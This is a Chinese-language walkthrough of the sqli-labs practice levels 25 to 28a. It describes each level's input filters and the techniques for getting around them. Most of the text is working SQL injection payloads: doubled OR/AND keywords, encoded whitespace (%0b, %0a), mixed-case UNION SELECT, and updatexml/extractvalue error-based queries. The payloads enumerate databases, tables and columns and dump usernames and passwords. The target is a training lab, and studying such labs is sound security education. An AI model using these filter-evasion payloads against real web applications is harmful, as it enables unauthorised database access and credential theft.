Less-25

基于错误-您所有的OR&AND都属于我们-字符串单引号

img

翻译:

注意:未定义变量:在第81行的C:\ phpStudy \ WWW \ sqli \ Less-25 \ index.php中提示
提示:将使用以下结果过滤您的输入:

一上来就有报错与提示信息。

img

有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

若是一次性的,且只是将过滤字符换成了空字符:

双写绕过—— or=oorr、and=anandd

若是非一次性的,就要考虑一些变形:

大小写变形绕过—— or=Or=oR=OR
利用运算符—— or=||、and=&&
URL编码绕过—— #=%23,Hex编码—— ~=0x7e
添加注释 —— /or/

双写绕过

暴字段:

?id=1’ oorrder by 3– #

img

?id=-1’ union select 1,2,3– #

img

暴库:

?id=-1’ union select 1,user(),database()– #

img

爆表:

?id=-1’ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3– #

img

爆字段:

?id=-1’ union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=’security’ anandd table_name=’users’),3– #

img

爆数据:

?id=-1’ union select 1,(select group_concat(concat_ws(‘-‘,id,username,passwoorrd)) from users),3– #

img

运算符绕过

?id=-1’ || extractvalue(1,concat(0x7e,database()))– #

或者

?id=1’ || extractvalue(1,concat(0x7e,database()))– # 都是一样的,理解or和函数extractvalue在一起的作用就会明白这两种写法都对。

Less-25a

基于Bool_GET_过滤AND/OR_数字型_盲注

本关与Less-25十分相似,既可以正常union注入也可以用脚本Bool或Time盲注。但却不能报错注入

原因在于没有输出错误项,即关闭了错误报告。

不在重复

Less-26

GET-基于错误-您所有的空格和注释都属于我们

根据提示我们知道这一关过滤了空格和注释,实际上过滤的远远不止这些,我们来看下源码:

img

可以确认一下:

    ?id=%231  //确认过滤了#

    ?id=or1  //确认过滤了or

    *?id=/1  //确认过滤了多行注释  

    ?id=–1  //确认过滤了单行注释

    ?id=/1  //确认过滤了斜杠

    ?id=1’ ‘ ‘  //确认过滤了空格,报错注入才行

    ?id=\  //确认过滤了反斜杠

暴库:

(注:url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&,会报错,原理还不清楚,但使用&的url编码%26就不会报错)

?id=’%0bunion%0bselect%0b1,database(),3%26%26’7’=’7

爆表:

id=’union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=’security’%26%26%0b’7’=’7

爆字段

id=’union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=’security’%0baandnd%0btable_name=’users’%26%26%0b’7’=’7

爆数据:

id=’union%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b’7’=’7

用updatexml函数

爆数据库:

?id=’||updatexml(1,concat(‘$’,(database())),0)||’1’=’1

爆表:

?id=’||updatexml(1,concat(‘$’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’))),0)||’1’=’1

爆字段:

?id=’||updatexml(1,concat(‘$’,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=’security’)%26%26(table_name=’users’))),0)||’1’=’1

爆数据:

?id=’||updatexml(1,concat(‘$’,(select(concat(‘$’,id,’$’,username,’$’,passwoorrd))from(users)limit%0b0,1)),0)||’1’=’1

Less-26a

基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注

img

img

这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入,布尔盲注,延时注入。

?id=1’ 报错,可初步得出是单引号字符型注入

?id=1’||’ 和?id=1’||1’ 会让我们误判为就是单引号字符型注入,因为带入源码中id=(‘1’||’’)和id=(‘1’||’1’)返回的结果都会是id=1 所以可以使用下面的语句来快速判断是否带有一个小括号,或者用前面讲的判断是否有小括号的方法也是一样的。

?id=1’)||(‘ (因为我们过滤了注释,使用这种可以很快的判断出是否是带一个括号的注入点)

暴库:

?id=’)%0bunion%0bselect%0b1,database(),3%0b||(‘1’)=(‘1

简写点:

?id=’)%0bunion%0bselect%0b1,database(),3%0b||1=(‘1

爆表:

id=’)%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=’security’%26%261=(‘1

爆字段:

id=’)%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=’security’%0baandnd%0btable_name=’users’%26%261=(‘1

爆数据:

id=’)%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=(‘1

Less-27

基于错误_GET_过滤UNION/SELECT_单引号_字符型注入

先判断注入类型,发现是单引号字符型注入

img

发现没有过滤or与and,过滤了几个大小写的union和select但是可以用随机大小写绕过,过滤了–、#以及/**/,过滤了两次空格,过滤了/但没过滤\。
所以实际上只过滤了注释与空格,与 Less 26 相似。

直接大小写混合绕过即可

暴库:

?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,database(),2/%0a/||/%0a/‘1’=’1

爆表:

?id=0’%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1

爆字段:

?id=0’%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=’security’%0bAnd%0btable_name=’users’%0b%26%26%0b’1’=’1

爆数据:

?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,(SeLeCt/%0a/group_concat(concat_ws(‘$’,id,username,password))/%0a/from/%0a/users),3/%0a/||/%0a/‘1’=’1

Less-27a

基于盲注_GET_过滤UNION/SELECT_双引号_字符型

img

img

img

双引号字符型注入
没有错误回显,不能进行报错注入,即无法使用updatexml函数等,但可以进行布尔盲注,因为他有无错误回显,即正确和错误页面返回的页面不同。
可以使用union联合注入,延时盲注。

Less-28

基于错误的,单引号字符型,过滤了union和select等的注入

img

发现没有过滤or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。
过滤了–、#以及//。**
过滤了两次空格。
过滤了/但没过滤\。

这一关和Less-27a十分相似,可以利用联合注入,布尔盲注,延时注入。

Less-28a

基于盲注的,带括号的单引号字符型,过滤了union和select等的注入

本关与 28 基本一致,只是过滤条件少了几个。

img